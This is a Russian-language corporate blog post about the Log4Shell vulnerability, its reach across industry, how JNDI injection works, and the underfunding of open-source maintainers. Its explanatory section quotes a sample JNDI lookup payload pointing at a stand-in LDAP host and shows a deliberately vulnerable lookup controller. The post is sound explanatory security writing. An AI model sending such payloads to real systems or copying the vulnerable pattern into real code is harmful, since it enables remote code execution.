Бомба Log4j и кризис опенсорса
Учитывая стремительную цифровизацию бизнеса и развитие наших мобильных и веб-платформ, вопросы информационной безопасности для МВидео-Эльдорадо крайне важны. Наверняка почти все в курсе про эпическую уязвимость в библиотеке Apache Log4j. Она поддерживает выполнение внешнего кода для интеллектуального парсинга логов, куда попадает и пользовательский ввод. Грубо говоря, одна строчка в адресной строке браузера у школьника кладёт сервер, если эту строчку скушает логгер (на многих серверах записываются в логи все HTTP-запросы).
Уязвимость в библиотеке сидела с 2013 года, но заметили только сейчас. А когда начали копать глубже, то обнаружили пропасть, дна которой не просматривается вообще.
Спустя месяц можно с холодной головой осмыслить произошедшее и подумать, что эта история означает для всего движения Open Source.
Об эксплоите уязвимости CVE-2021–44228 (Log4Shell) сообщили 9 декабря 2021 года специалисты компании Lunasec. Через несколько дней Apache Security Team составила список пострадавших проектов Apache с уязвимыми версиями библиотеки. Несложно догадаться, что это огромный список.
Затронутые коммерческие службы включают AWS, Cloudflare, iCloud, Minecraft, Steam и многие другие. По данным Wiz and EY (Ernest & Young), уязвимость затронула 93% корпоративных облачных сред.
Уязвимость затронула практически всех, в том числе производителей аппаратного обеспечения. Например, Intel опубликовала список из 32 программ, подверженных взлому: SDK, системы обслуживания серверов, Linux-инструменты. Компания Nvidia выложила отчёт c упоминанием серверов DGX и инструментов NetQ. Ряд обновлений выпустили Apple и Microsoft. Сейчас чуть ли не каждая IT-компания считает необходимым опубликовать специальное уведомление по поводу Log4Shell. Даже если не нашла, что исправлять, это уже важная информация.
Агентство по кибербезопасности и защите инфраструктуры США (CISA) заявило, что Log4Shell является одной из самых серьёзных уязвимостей в истории. Аналогичноемнение высказывают и другие специалисты. Уязвимость уже эксплуатируют для направленных атак на тысячи организаций (кража персональных данных и другие атаки). Последствия этих массовых взломов нам ещё предстоит оценить.
Масштаб катастрофы понятен даже по тому факту, что существует отдельный сайт с мемами про Log4j, и каждый день там новые картинки.
Эта боль с нами надолго. По факту, закрыть баг нужно на сотнях миллионов систем. История наверняка затянется на несколько лет. Тем более что одного патча оказалось мало. Log4j привлекла к себе пристальное внимание специалистов по информационной безопасности, которые находят всё новые и новые векторы атаки.
Но самое худшее, что данный баг вскрыл фундаментальную проблему с безопасностью Java и качеством кода опенсорсных проектов в принципе.
Java Naming and Directory Interface (JNDI) — это Java API, чтобы искать объекты по имени. Эти объекты могут храниться в различных службах именования или каталогах, таких как Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP) или Domain Name Service (DNS).
То есть это простой Java API, который принимает всего один строковый параметр. Если параметр поступает из ненадёжного источника, это может привести к удалённой загрузке классов и исполнению стороннего кода. Что и происходит в случае с Log4j. Злоумышленник просто направляет Java-приложение жертвы на вредоносный rmi/ldap/corba-сервер и получает в ответ произвольный объект.
Например, строка ${jndi:ldap://example.com/file} загрузит данные с этого URL, указанного в строке.
На самом деле проблема здесь не в JDK или библиотеке, а скорее в клиентских приложениях, которые передают контролируемые пользователем данные в функцию InitialContext.lookup(). Это риск безопасности даже в полностью пропатченных JDK. Ведь тут благодатная почва и для других уязвимостей типа десериализации недоверенных данных.
Манипуляции с JNDI обсуждались ещё на Black Hat 2016 пять лет назад. См. также статью «JNDI-инъекции в Java» (2019).
Пример уязвимого приложения:
@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
return new javax.naming.InitialContext().lookup(name);
}
Вот почему в таких ситуациях нужен тщательный аудит исходного кода.
Проблема Log4Shell вскрыла фундаментальную проблему с качеством кода опенсорсных проектов в принципе.
Принято считать, что открытый код по умолчанию более качественный, надёжный и безопасный, чем проприетарный. Это кажется логичным, ведь его могут проверить специалисты со всего мира. Каждый может посмотреть и убедиться в его безопасности.
Ведь если поразмыслить, что произошло по сути в данной ситуации?
- Какой-то разработчик в свободное время написал прикольную библиотеку и решил бесплатно поделиться ею с миром.
- Библиотека понравилась миллионам — и её стали везде использовать.
- Сотни контрибуторов решили внести свой вклад, Они добавили в код много новых хороший идей и как минимум одну плохую.
- Ради обратной совместимости эту плохую идею оставили в следующих версиях.
- Плохая идея вызвала крупнейшую проблему в истории информационной безопасности.
- Мейнтейнеры быстро отреагировали выпуском патчей.
По итогам этой истории некоторые сделали вывод, что налицо фундаментальная проблема опенсорса, которая сводится к тому, что мейнтейнерам не платят денег.
Мейнтейнеры получают недостаточно за свою работу и выгорают. Профессиональный аудит кода зачастую не проводится. На опенсорсных программах строят бизнес богатейшие корпорации. И они даже не думают поделиться деньгами с сообществом.
По мнению известного криптографа и специалисты по безопасности Филиппо Вальсорды, крайне несправедливо, что огромные корпорации используют опенсорсное программное обеспечение, зарабатывают миллиарды долларов — и при этом никак не помогают поддерживать экосистему Open Source.
Получается, что огромный бизнес и вся инфраструктура зависит от какого-то рандомного любительского проекта, который даже не проходил серьёзный аудит, а его поддержкой десять лет бесплатно занимается никому не известный энтузиаст.
Система должна быть организована таким образом, чтобы мейнтейнеры опенсорса получали достойную зарплату за свой труд. Потому что сейчас некоторые из них работают буквально на голом энтузиазме, а их доход близко не сравним с зарплатой даже джуниора из FAANG. Это какой-то нонсенс.
По мнению Вальсорды, средний мейнтейнер успешного проекта может быть квалифицирован как ведущий инженер-программист (сеньор), а такие разработчики зарабатывают $150–300 тыс. в год и больше. Если брать 90-й перцентиль, то зарплата программиста $364 тыс. в Нью-Йорке, $232 тыс. в Лондоне, $163 тыс. в Берлине.
Обычная система пожертвований не решает проблему, поскольку донатов очень мало — их объём даже близко не сравним с зарплатой программиста в корпорации.
Решением может стать нормальное финансирование опенсорса с профессиональными мейнтейнерами на зарплате. Есть же примеры опенсорсных проектов типа Mozilla и GnuPG, которые не испытывают проблем с финансами. GnuPG недавно даже попросила людей не присылать больше донаты.
В общем, есть предложение реализовать юридический механизм, чтобы корпорации могли платить зарплату независимым мейнтейнерам.
Впрочем, с таким предложением не все согласны. Ведь если свободный софт перейдёт на финансирование со стороны корпораций, то это уже будет не совсем свободный софт? О выгорании мейнтейнеров говорят давно, а что делать с этим — непонятно.
Армагеддон Log4Shell хотя бы привлёк внимание к этой важной проблеме.
P. S. Для поиска и закрытия уязвимостей в своих системах можно воспользоваться утилитой log4jscanner от Google, которая сканирует все файлы JAR в файловой системе и находит опасные зависимости. Есть опция --rewrite с автоматическим удалением уязвимых классов.
Кстати: если вы заинтересованы в поиске интересных задач по направлению ИБ, мы всегда рад видеть вас в наших рядах. Актуальные вакансии по ссылке.
